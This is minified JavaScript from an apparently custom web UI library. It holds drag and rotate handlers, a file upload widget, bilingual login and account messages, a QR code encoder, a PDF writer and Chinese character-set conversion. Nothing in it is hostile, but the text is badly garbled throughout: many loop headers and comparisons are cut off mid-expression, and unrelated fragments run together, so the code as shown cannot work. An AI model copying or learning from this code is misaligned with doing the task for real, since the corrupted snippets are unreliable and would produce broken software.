srot=(360*1+spc/2-((wds[0]/ttlwd)*spc/2))%360;var ctp=(0-crad*1+cht*1);};c2d.translate(crad/2+clf*1,crad/2+ctp*1);c2d.rotate(srot/180*Math.PI);c2d.save();for(var i=0;i(mintp*1))?tx:mintp;};var ntp=mintp;if(dd.parentNode){var pht=dd.parentNode.offsetHeight;var pwd=dd.parentNode.offsetWidth;if(((ntp*1+nht*1+2*1)>(pht))||(ntp<2)||((nlf*1+nwd*1+2*1)>(pwd))||(nlf<2) ){dd.style.opacity='0.8';}else{dd.style.opacity='1';};var ntp=(((ntp*1+nht*1+2*1)>(pht))?(pht-nht-2):ntp);var ntp=((ntp<2)?2:ntp);var nlf=(((nlf*1+nwd*1+2*1)>(pwd))?(pwd-nwd-2):nlf);var nlf=((nlf<2)?2:nlf);};Mrlab4(dd,ntp,nlf,nht,nwd-10);};};im.mshow=function(){var im=this;im.inpfocyn=1;if(im.inpfoc){return 0};var dd=im.dd;dd.msetpos();if(mmb){document.body.appendChild(dd)}else{if(im.parentNode){im.parentNode.appendChild(dd)}else{document.body.appendChild(dd)}};if(im.monshow){im.monshow}};im.mhide=function(){var im=this;im.inpfocyn=0;if(im.inpfoc){return 0};var dd=im.dd;dd.mblur();if(im.monhide){im.monhide}};im.mchcolor=function(mchcolor_col){var im=this;var dd=im.dd;im.mc=mchcolor_col;dd.style.backgroundColor=im.mc;var btns=dd.btns;var mc=mrgb(im.mc);var cnm=((mc[100]=='#ffffff')?'white':'black');for(var i=0;iMath.abs(oslf*1)){nlf=hc.molf;}else{ntp=hc.motp;};};Mrlab4(obj,ntp,nlf);Mrlab4(ctrl,ntp-2,nlf-2);};obj.mfrot=function(e){var obj=this;var ctrl=obj.ctrl;var hc=obj.hc;e=e||window.event;if((!e.offsetX)&&(!e.layerX)&&(!e.changedTouches)){return 0};if((!e.offsetY)&&(!e.layerY)&&(!e.changedTouches)){return 0};var y=e.offsetX||e.layerX||(e.changedTouches[0].clientX-obj.dtl[1]);var x=e.offsetY||e.layerY||(e.changedTouches[0].clientY-obj.dtl[0]);if(mmb){var nstp=hc.mtp;var nslf=hc.mlf;var nmtp=obj.offsetHeight/2;var nmlf=obj.offsetWidth/2;var oang=mgetangle(nstp,nslf,nmtp,nmlf);var orot=oang[0];var ctp=x;var clf=y;var nang=mgetangle(ctp,clf,nmtp,nmlf);var nrot=nang[0];var rot=hc.modegree*1+nrot*1-orot*1;if(obj.mskeys[1]){rot=parseInt(rot/15)*15;}else if(obj.mmg){rot=parseInt(rot/5)*5;};var rot=((rot*1+720*1)%360);MrlRotate(obj,rot);MrlRotate(ctrl,rot);obj.mdegree=rot;return 0;};var nstp=hc.mtp;var nslf=hc.mlf;var ostp=ctrl.mtp;var oslf=ctrl.mlf;var omtp=obj.offsetHeight/2;var omlf=obj.offsetWidth/2;var nmtp=nstp-ostp*1+omtp*1;var nmlf=nslf-oslf*1+omlf*1;var oang=mgetangle(nstp,nslf,nmtp,nmlf);var orot=oang[0];var ctp=x;var clf=y;var nang=mgetangle(ctp,clf,nmtp,nmlf);var nrot=nang[0];var rot=hc.modegree*1+nrot*1-orot*1;if(obj.mskeys[1]){rot=parseInt(rot/15)*15;}else if(obj.mmg){rot=parseInt(rot/5)*5;};var rot=((rot*1+720*1)%360);MrlRotate(obj,rot);MrlRotate(ctrl,rot);obj.mdegree=rot;};if(!obj.mdrop){obj.mdrop=function(){}};obj.getData=function(){var obj=this;return [obj.offsetTop,obj.offsetLeft,obj.offsetHeight,obj.offsetWidth,obj.mdegree];};if(!obj.mdrag){obj.mdrag=function(){}};obj.mhide=function(){var obj=this;var ctrl=obj.ctrl;obj.inpfocyn=0;if(obj.inpfoc){return 0};var msto='if(Mrlgei("'+ctrl.id+'")){var ctrl=Mrlgei("'+ctrl.id+'");ctrl.style.display="none";ctrl.mblur();var obj=ctrl.obj;if(obj.monhide){obj.monhide()}}';ctrl.msto=setTimeout(msto,obj.mdefault_timeout_time);};setTimeout('Mrlgei("'+ctrl.id+'")',0);if(!obj.monhide){obj.monhide=function(){var obj=this;var ctrl=obj.ctrl;obj.inpfocyn=0;if(obj.inpfoc){return 0};var msto='if(Mrlgei("'+ctrl.id+'")){var ctrl=Mrlgei("'+ctrl.id+'");ctrl.style.display="none";ctrl.mblur()}';ctrl.msto=setTimeout(msto,obj.mdefault_timeout_time);};};obj.mshow=function(){var obj=this;var ctrl=obj.ctrl;obj.inpfocyn=1;if(obj.inpfoc){return 0};ctrl.msetpos();ctrl.style.display='block';clearTimeout(ctrl.msto);if(obj.style.zIndex!==null&&obj.style.zIndex!==undefined){ctrl.style.zIndex=obj.style.zIndex.toString()};if(obj.parentNode){obj.parentNode.appendChild(ctrl)};if(obj.monshow){obj.monshow()};};if(!obj.monshow){obj.monshow=function(){var obj=this;var ctrl=obj.ctrl;obj.inpfocyn=1;if(obj.inpfoc){return 0};ctrl.msetpos();clearTimeout(ctrl.msto);ctrl.style.display='block';if(obj.parentNode){obj.parentNode.appendChild(ctrl)};};};ctrl.msetpos=function(){var ctrl=this;var obj=ctrl.obj;Mrlab4(ctrl,obj.offsetTop-2,obj.offsetLeft-2,obj.offsetHeight,obj.offsetWidth);Mrlab4(ctrl.bg,-15,-15,obj.offsetHeight*1+30*1,obj.offsetWidth*1+30*1);MrlRotate(ctrl,obj.mdegree);};ctrl.mblur=function(){if(this.parentNode){this.parentNode.removeChild(this)}};obj.mblur=function(){this.onmouseout=function(){};this.ontouchstart=function(){};this.onmouseover=function(){};this.ontouchend=function(){};this.ctrl.mblur();this.hc.mblur();};obj.mup=function(e){var obj=this;var hc=obj.hc;obj.mdowning=0;hc.mtp=null;hc.mlf=null;hc.style.display='none';hc.mblur();obj.ctrl.style.display='none';obj.ctrl.mblur();hc.style.cursor='';obj.style.opacity=obj.moopac;if(obj.monhide){obj.monhide()};if(obj.mondrop){obj.mondrop()};obj.mdrop();};obj.mdown=function(e){var obj=this;var hc=obj.hc;if(obj.mfunc=='d'){obj.mdel()};obj.mdowning=1;hc.mtp=null;hc.mlf=null;hc.style.display='block';document.body.appendChild(hc);hc.style.cursor=e.target.style.cursor.toString();if(obj.style.opacity){obj.moopac=obj.style.opacity.toString()}else{obj.moopac=1};obj.style.opacity=0.5;obj.mdrag();};obj.mpremove=function(e){var obj=this;e=e||window.event;obj.dtl=Mrlgetl(obj);if((!e.offsetX)&&(!e.layerX)&&(!e.changedTouches)){return 0};if((!e.offsetY)&&(!e.layerY)&&(!e.changedTouches)){return 0};var y=e.offsetX||e.layerX||(e.changedTouches[0].clientX-obj.dtl[1]);var x=e.offsetY||e.layerY||(e.changedTouches[0].clientY-obj.dtl[0]);var ctrl=obj.ctrl;var tp=e.target.offsetHeight/2;var lf=e.target.offsetWidth/2;var ctp=e.target.offsetTop*1;var clf=e.target.offsetLeft*1;var mxy=mgetrotxy(x,y,tp,lf,e.target.mdegree*1);var x=mxy[0]*1+ctp*1;var y=mxy[1]*1+clf*1;var tp=e.target.obj.offsetHeight/2;var lf=e.target.obj.offsetWidth/2;var mxy=mgetrotxy(x,y,tp,lf,e.target.obj.mdegree*1);var x=mxy[0]*1;var y=mxy[1]*1;ctrl.mtp=x;ctrl.mlf=y;};if(mmb){obj.mtouchhideall=function(){var obj=this;var p=obj.parentNode;var cd=p.childNodes;for(var i=0;i1){fnm=fnm.slice(0,fnm.length-1);};var fnm=fnm.join('.');ttd.innerHTML=fnm;if(!d.sfn){ttd.style.display='block'};};};d.updateData=function(updateData_pth){var d=this;var pth=updateData_pth;d.onMrlResult='var dats='+JSON.stringify([pth,'']);d.onMrlPostEnd();};var imd=Mrlce('div');imd.d=d;d.mimd=imd;d.appendChild(imd);Mrlab4(imd,0,0,'100%','100%');imd.style.display='none';imd.style.backgroundColor='#fff';var im=Mrlce('img');d.im=im;im.d=d;imd.appendChild(im);if(muplfil_toparent_0_toparent_1_toL){im.src='/MRL/img/hidden.png';}else{im.src='MRL/img/hidden.png';};Mrlab4(im);im.style.display='inline-block';im.onload=function(){mimagealign(this,1);};var edht=20;var edtp=5;var ed=Mrlce('img');d.ed=ed;Mrlab4(ed,edtp,null,edht,edht);ed.style.right=edtp+'px';imd.appendChild(ed);ed.style.border='none';ed.style.backgroundColor='white';ed.style.borderRadius=parseInt(edht*0.15)+'px';ed.style.cursor='pointer';if(muplfil_toparent_0_toparent_1_toL){ed.src='/MRL/img/edit_black.png';}else{ed.src='MRL/img/edit_black.png';};ed.style.opacity='0.8';ed.d=d;ed.onclick=function(){var ed=this;var d=ed.d;if(d.LEditYN=='N'){return 0};d.mif.contentWindow.document.body.getElementsByTagName('input')[0].click();};var ttd=Mrlce('div');d.ttd=ttd;d.appendChild(ttd);Mrlab4(ttd,null,null,16);ttd.style.bottom='0px';ttd.style.right='0px';ttd.style.overflow='hidden';ttd.style.padding='5px';Mrlft(ttd,'verdana',12,'#000');ttd.style.textAlign='right';ttd.style.opacity='0.8';ttd.style.display='none';if(pth){var nm=mrpc(pth);nm.substring(nm.lastIndexOf('/')*1+1*1);d.onMrlResult='var dats=["'+pth+'","'+nm+'"];';d.onMrlPostEnd();};d.editYN=function(editYN_YN){var d=this;var myn=(editYN_YN||((d.LEditYN=='Y')?'N':'Y'));var myn=myn.toString().toUpperCase();d.LEditYN=myn;if(myn=='Y'){d.ed.style.display='block';d.mif.style.display='block';}else{d.ed.style.display='none';d.mif.style.display='none';};};var nid='mupfile'+parseInt(Math.random()*99999);for(var i=0;Mrlgei(nid);i=0){var nid='mupfile'+parseInt(Math.random()*99999)};d.id=nid;setTimeout('Mrlgei("'+d.id+'").mload()',0);return d;};mzIndexes=function(mzIndexes_obj){var obj=mzIndexes_obj;var od=new Array();var cn=obj.childNodes;for(var i=0;ithe account is blocked. It will unlocked after','由於密碼錯誤太多次, 帳號已鎖定
帳號將於','由於密碼錯誤太多次, 帳號已鎖定
帳號將於'],/*30*/['minute(s)','分鐘後解鎖','分鐘後解鎖'],['Edit Other Info','修改其他資料','修改其他資料'],['Phone no. already been used','電話號碼已被使用','電話號碼已被使用'],['Incorrect passwords','密碼不相符','密碼不相符'],['At least 8 digits of password is needed','密碼必須包含8位以上字原','密碼必須包含8位以上字原'],/*35*/['E-mail address already been used','電郵地址已被使用','電郵地址已被使用'],['Incorrect Phone number','電話號碼格式不正確','電話號碼格式不正確'],['Please provide all the information','請輸入所有資料','請輸入所有資料'],['Incorrect E-mail address','電郵格式不正確','電郵格式不正確'],['Account has been locked. Please contact for further assist','帳號已被鎖, 如需協助, 請聯絡我們','帳號已被鎖, 如需協助, 請聯絡我們'],/*40*/['Click to confirm you are not bot','請點擊確認您不是機械人','請點擊確認您不是機械人'],['Password does not support the following texts, [\,"]','密碼不支援以下字源, [\,"]','密碼不支援以下字源, [\,"]'],['Incorrect verify code','驗證碼不正確','驗證碼不正確'],['Verify code Expired, click on the following to resend a new verify code when you are ready','驗證碼已過期, 請準備好後 "重發驗證碼"','驗證碼已過期, 請準備好後 "重發驗證碼"'],['Provide your new E-mail address','請輸入新電郵地址','請輸入新電郵地址'],/*45*/['Already edited through another page, please login again','已於其他頁面作出修改, 請重新登入','已於其他頁面作出修改, 請重新登入']];d.lgl=lgl;d.lgml=lgml;var inpd=Mrlce('div');dd.appendChild(inpd);Mrlab4(inpd,null,null,null,null,1);Mrlmp(inpd,'0px','5px');var lbl=Mrlce('label');d.ttd=lbl;inpd.appendChild(lbl);lbl.innerHTML=lgl[2][lgml];Mrlab4(lbl,null,null,null,'100%',1);lbl.style.textAlign='left';Mrlft(lbl,'verdana',32,'#aaa');lbl.style.border='none';lbl.style.display='inline-block';Mrlmp(lbl,'0px','2px 6px');lbl.mlan=2;var ld=Mrlce('div');dd.appendChild(ld);Mrlab4(ld,10,null,null,null);Mrlmp(ld,'0px','0px');ld.style.right='10px';ld.style.backgroundColor='none';ld.style.textAlign='right';var lbls=lgl[10];for(var i=0;i=0;i--){if(inps[i][4].style.display.toString().toUpperCase()!='NONE'){var obj=inps[i][4];break}};if(i==(0-1)){for(var i=di;i(im.offsetTop*1+im.offsetHeight*1-nmht*1-2)?(im.offsetTop*1+im.offsetHeight*1-nmht*1-2):nmtp);var nmlf=((nmlf*1)>(im.offsetLeft*1+im.offsetWidth*1-nmwd*1-2)?(im.offsetLeft*1+im.offsetWidth*1-nmwd*1-2):nmlf);var nmtp=((nmtp*1)<(im.offsetTop*1)?(im.offsetTop*1):nmtp);var nmlf=((nmlf*1)<(im.offsetLeft*1)?(im.offsetLeft*1):nmlf);Mrlab4(mposd,nmtp,nmlf,nmht,nmwd);var ary=[[im.offsetTop*1,im.offsetLeft*1],[Math.round((im.offsetHeight-ht)/2)*1+im.offsetTop*1,im.offsetWidth*1+5*1+im.offsetLeft*1],[im.offsetHeight*1+5*1+im.offsetTop*1,Math.round((im.offsetWidth-wd)/2)+im.offsetLeft*1],[Math.round((im.offsetHeight-ht)/2)+im.offsetTop*1,(0-wd-5)+im.offsetLeft*1],[Math.round((im.offsetHeight-ht)/2)+im.offsetTop*1,Math.round((im.offsetWidth-wd)/2)+im.offsetLeft*1],[im.offsetTop*1,im.offsetLeft*1]];var ntp=ary[mpos][0];var nlf=ary[mpos][1];Mrlab4(d,ntp,nlf,ht,wd);var nntp=((0*1+ctp*1-tp)*zm);var nnlf=((0*1+clf*1-lf)*zm);var nnht=Math.round(im.offsetHeight*zm);var nnwd=Math.round(im.offsetWidth*zm);var nntp=((nntp<(ht-nnht))?(ht-nnht):nntp);var nnlf=((nnlf<(wd-nnwd))?(wd-nnwd):nnlf);var nntp=(((nntp*1)>0)?0:nntp);var nnlf=(((nnlf*1)>0)?0:nnlf);Mrlab4(mzmim,nntp,nnlf,nnht,nnwd);};var mover=function(e){var im=this;im.monover=1;im.mzmim_setpos(e);};var mmove=function(e){var im=this;im.mzmim_setpos(e);};var mout=function(e){var im=this;im.monover=0;im.mzmim_setpos(e);};var ary=[['im.ontouchstart','mover'],['im.ontouchmove','mmove'],['im.ontouchend','mout'],['im.onmouseover','mover'],['im.onmousemove','mmove'],['im.onmouseout','mout']];for(var i=0;i(lln*1)){var mln=ary[i][0]*1;var cver=ary[i][1]*1;var ht=ary[i][2];break;};};var ett='';if(cver==0||ln==0){var tt='QR Code Over Maximum Length Codeword, Either change the Error Level or shorten the data.';if(ln==0){var ett='No Data';}else{var ett='Data Too Long';};var nt=m2utf8(tt);var ln=nt.length;var lln=ln*1+1*1;var cver=0;for(var i=0;i(lln*1)){var mln=ary[i][0]*1;var cver=ary[i][1]*1;var ht=ary[i][2];break;};};};var nnt=new Array();for(var i=0;i=wln)?mval:(Array(wln*1+1*1-mval.length).join('0')+mval));};var caln=aln[cver];var cd=Mrlce('canvas');var c2d=cd.getContext('2d');var idat=c2d.createImageData(ht,ht);var ndat=idat.data;var ky=new Array();var hdat=new Array();var ary=[[(0-1),(0-1)],[ht-8,(0-1)],[(0-1),ht-8]];var mary=[[0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,0],[0,1,0,0,0,0,0,1,0],[0,1,0,1,1,1,0,1,0],[0,1,0,1,1,1,0,1,0],[0,1,0,1,1,1,0,1,0],[0,1,0,0,0,0,0,1,0],[0,1,1,1,1,1,1,1,0],[0,0,0,0,0,0,0,0,0]];for(var ii=0;ii=0&&r=0&&c=(mds[typ][1][cver]))?'':Array((mds[typ][1][cver]*1+1*1)-lnb.length).join('0'))+lnb+nnt.join('')+'0000';var lnb=lnb+(((lnb.length%8)==0)?'':Array(8-(lnb.length%8)*1+1*1).join('0'));var q=(((mln*8)-lnb.length)/8);for(var i=0;imxg)?(gps[ary[j][1]]*1):mxg);gdat[gdat.length]=cdat.slice();};};var mgm=new Array();for(var i=0;i<256;i++){mgm[i]=new Array();for(var q=0;q<256;q++){var mm=0;for(var qq=7;qq>=0;qq--){mm=((mm<<1)^((mm>>>7)*0x11D));mm=(mm^(((q>>>qq)&1)*i));};mgm[i][q]=mm;};};var edat=new Array();for(var i=0;i(pln/2))?(parseInt((ln-chk[0])/pln)*2+1*1):(Math.ceil((ln-chk[0])/pln)*2+1*1);if(q<=2){q=3;chk[0]=ln/3;chk[1]=chk[0];var bdln=chk[0];}else{var bdln=(ln-(((q-1)/2*pln)-chk[0]))/2;};var ans=new Array();ans[0]=bdln;for(var i=1;i/gui,'<br>');var tt=obj.innerText.replace(/
/g,decodeURI('%0a')).replace(/\r/g,decodeURI('%0a')).replace(/<([^<>])+>/ig,'');if((obj.tagName.toString().toUpperCase()=='TD'||obj.tagName.toString().toUpperCase()=='TH')&&(mgs(obj,'word-break').toString().toUpperCase()!='NORMAL')){d.style.wordBreak=mgs(obj,'word-break');var tts=tt.match(/./ugi);}else if(typ==2){var tts=tt.match(/[^\n]+/gi);}else{var tts=tt.match(/([\n]|[ ]|([\u0001-\u0009]|[\u000B-\u001F]|[\u0021-\u00FF])+|[^\u0001-\u00FF])/ugi);};if(!tts){tts=new Array('')};if(tts.length==0){tts=new Array('')};var ctt='';var ptt='';var ans=new Array();var cht=d.offsetHeight;var q=(0-1);for(var i=0;i=540)?540:360):540);var ddd=Mrlce('div');hc.td.appendChild(ddd);Mrlab4(ddd,null,null,'90%',wwd,1);ddd.style.boxShadow='rgba(0,0,0,0.65) 0px 0px 10px 2px';ddd.style.overflow='hidden';ddd.style.backgroundColor='#fff';ddd.style.borderRadius='5px';var tds=mtblsplit(ddd,2,2,['100%',60],[wwd-60,60]);msa(tds[1][0],'colSpan',2);tds[1][1].parentNode.removeChild(tds[1][1]);var dddd=Mrlce('div');tds[0][0].appendChild(dddd);Mrlab4(dddd,null,null,'100%','100%',1);dddd.style.overflow='hidden';dddd.style.backgroundColor='#aaa';dddd.style.boxShadow='inset 0px 0px 5px 2px rgba(0,0,0,0.25)';var dsd=Mrlce('div');dddd.appendChild(dsd);Mrlab4(dsd,null,null,'100%','100%');dsd.style.overflow='hidden scroll';var dd=Mrlce('div');dsd.appendChild(dd);dd.style.overflow='hidden';Mrlab4(dd,null,null,null,null,1);var dcd=Mrlce('div');tds[0][1].appendChild(dcd);Mrlab4(dcd,null,null,null,60,1);dcd.style.overflow='hidden';var bims=[['edit_black.png','this.hc.minp.click()'],['camera_black.png','this.hc.minp.click()'],['hideRight_black.png','this.hc.mtop()'],['right_black.png','this.hc.mup()'],['right_black.png','this.hc.mdown()'],['hideRight_black.png','this.hc.mbottom()'],['bin_black.png','this.hc.mdel()']];for(var i=0;i=(cds.length-1)){return 0};if(cds[pgno*1+2*1]!==undefined){hc.dd.insertBefore(cds[pgno],cds[pgno*1+2*1]);}else{hc.dd.appendChild(cds[pgno]);};var ary=cds;var ary=ary.slice(0,pgno).concat(ary.slice(pgno*1+1*1,pgno*1+2*1)).concat(ary.slice(pgno,pgno*1+1*1)).concat(ary.slice(pgno*1+2*1));hc.cds=ary;var ary=ims;var ary=ary.slice(0,pgno).concat(ary.slice(pgno*1+1*1,pgno*1+2*1)).concat(ary.slice(pgno,pgno*1+1*1)).concat(ary.slice(pgno*1+2*1));hc.ims=ary;hc.msetpgno();};hc.mbottom=function(){var hc=this;var pgtd=hc.pgtd;var pgno=pgtd[0][1].innerHTML;if(pgno==''){return 0};pgno=pgno-1;var cds=hc.cds;var ims=hc.ims;if(pgno>=(cds.length-1)){return 0};hc.dd.appendChild(cds[pgno]);var ary=cds;var ary=ary.slice(0,pgno).concat(ary.slice(pgno*1+1*1)).concat(ary.slice(pgno,pgno*1+1*1));hc.cds=ary;var ary=ims;var ary=ary.slice(0,pgno).concat(ary.slice(pgno*1+1*1)).concat(ary.slice(pgno,pgno*1+1*1));hc.ims=ary;hc.msetpgno();};hc.mdel=function(){var hc=this;var pgtd=hc.pgtd;var pgno=pgtd[0][1].innerHTML;if(pgno==''){return 0};pgno=pgno-1;var cds=hc.cds;var ims=hc.ims;if(cds[pgno].parentNode){cds[pgno].parentNode.removeChild(cds[pgno])};var ary=cds;var ary=ary.slice(0,pgno).concat(ary.slice(pgno*1+1*1));hc.cds=ary;var ary=ims;var ary=ary.slice(0,pgno).concat(ary.slice(pgno*1+1*1));hc.ims=ary;hc.msetpgno();};hc.mclear=function(){var hc=this;hc.ims=new Array();var dd=hc.dd;var cds=hc.cds;var pgtd=hc.pgtd;pgtd[0][1].innerHTML='';pgtd[0][3].innerHTML='';for(var i=0;i1&&rtoa>1){ht=cht;wd=cwd;var rto=ht/cht;var rtoa=wd/cwd;};var rtor=((rto>rtoa)?1:0);var tlhw=[0,0,ht,wd];if(ctyp==0&&rtor==0){var rto=rtoa;}else if(ctyp==1&&rtor==1){var rto=rtoa;};var tlhw=[0,0,Math.round(cht*rto),Math.round(cwd*rto)];mht=ht;mwd=wd;if(ftyp==0&&ctyp!=0){var mht=tlhw[2];var mwd=tlhw[3];};tlhw[0]=parseInt((mht-tlhw[2])/2);tlhw[1]=parseInt((mwd-tlhw[3])/2);var cv=Mrlce('canvas');msa(cv,'height',mht);msa(cv,'width',mwd);var c2d=cv.getContext('2d');c2d.webkitImageSmoothingEnabled=false;c2d.mozImageSmoothingEnabled=false;c2d.imageSmoothingEnabled=false;if(ftyp==1&&ext!='PNG'){c2d.fillStyle='#fff';c2d.fillRect(0,0,wd,ht);};c2d.drawImage(im,tlhw[1],tlhw[0],tlhw[3],tlhw[2]);return cv.toDataURL('image/'+ext);};/*mim2url=function(mim2url_im,mim2url_ctyp,mim2url_ftyp,mim2url_ht,mim2url_wd,mim2url_ext){*/mobjsadd=function(mobjsadd_obj){var obj=mobjsadd_obj;if(window.mobjs===undefined){window.mobjs=new Array()};mobjs=window.mobjs;for(var i=0;i=d.nims.length){d.onMrlResult=d.ans.slice();d.onMrlSubmit();};};for(var i=0;i>'+br;ctt+='endobj'+br;objs[ii]=ctt;ii++;q=2;var ctt='';ctt+=ii+' 0 obj'+br;ctt+='<>stream'+br;ctt+=contt+br;ctt+='endstream'+br;ctt+='endobj'+br;objs[ii]=ctt;};q=2;for(var i=0;i>'+br;ctt+='endobj'+br;objs[ii]=ctt;};var q=2;for(var i=0;i>stream'+br;ctt+=imgtt+br;ctt+='endstream'+br;ctt+='endobj'+br;objs[ii]=ctt;};ii++;var ctt='';ctt+=ii+' 0 obj'+br;ctt+='<>"+br;ctt+='endobj'+br;objs[ii]=ctt;ii++;var ctt='';ctt+=ii+' 0 obj'+br;ctt+='<>'+br;ctt+='endobj'+br;objs[ii]=ctt;var mxref=['0000000000 65535 f'];var tt='';tt+=objs[0];for(var i=1;i<'+tid[1]+'>]')+'>>'+br;tt+='startxref'+br;tt+=mxrefln+br;tt+='%%EOF';var bb=mtt2bb(tt);return bb;};mhr2min=function(mhr2min_hr){var mns={0.02:1,0.03:2,0.05:3,0.07:4,0.08:5,0.1:6,0.12:7,0.13:8,0.15:9,0.17:10,0.18:11,0.2:12,0.22:13,0.23:14,0.25:15,0.27:16,0.28:17,0.3:18,0.32:19,0.33:20,0.35:21,0.37:22,0.38:23,0.4:24,0.42:25,0.43:26,0.45:27,0.47:28,0.48:29,0.5:30,0.52:31,0.53:32,0.55:33,0.57:34,0.58:35,0.6:36,0.62:37,0.63:38,0.65:39,0.67:40,0.68:41,0.7:42,0.72:43,0.73:44,0.75:45,0.77:46,0.78:47,0.8:48,0.82:49,0.83:50,0.85:51,0.87:52,0.88:53,0.9:54,0.92:55,0.93:56,0.95:57,0.97:58,0.98:59,1:60};var chr=mhr2min_hr||0;var chr=((isNaN(chr*1))?0:chr*1);var inthr=parseInt(chr);var chr=chr-inthr;if(mns[chr*1]===undefined){return Math.round(mhr2min_hr*60)};return inthr*60+mns[chr*1]*1;};mgbk2big5=function(mgbk2big5_txt){return mbig5gbk(mgbk2big5_txt,0);};/*gbk2big5=function(gbk2big5_txt){*/mbig52gbk=function(mbig52gbk_txt){return mbig5gbk(mbig52gbk_txt,1);};/*big52gbk=function(big52gbk_txt){*/mbig5gbk=function(mbig5gbk_txt,mbig5gbk_typ){if(!gbkbig5){Mrlbiggbk_ary()};var ary=gbkbig5[mbig5gbk_typ||0];var cval=mbig5gbk_txt;var ans='';for(var i=0;i=10){mif.mterm();}else if(sc>=10){mif.src='';}else{clearTimeout(mif.msto);a.mload(mif.di);};/*if(mif.cnt==3&&sc>=10){*/};/*mif.onload=function(){*/mif.onerror=function(){var mif=this;mif.mterm();};/*mif.onerror=function(){*/mifs[i]=mif;mif.ma=a;};/*for(var i=0;i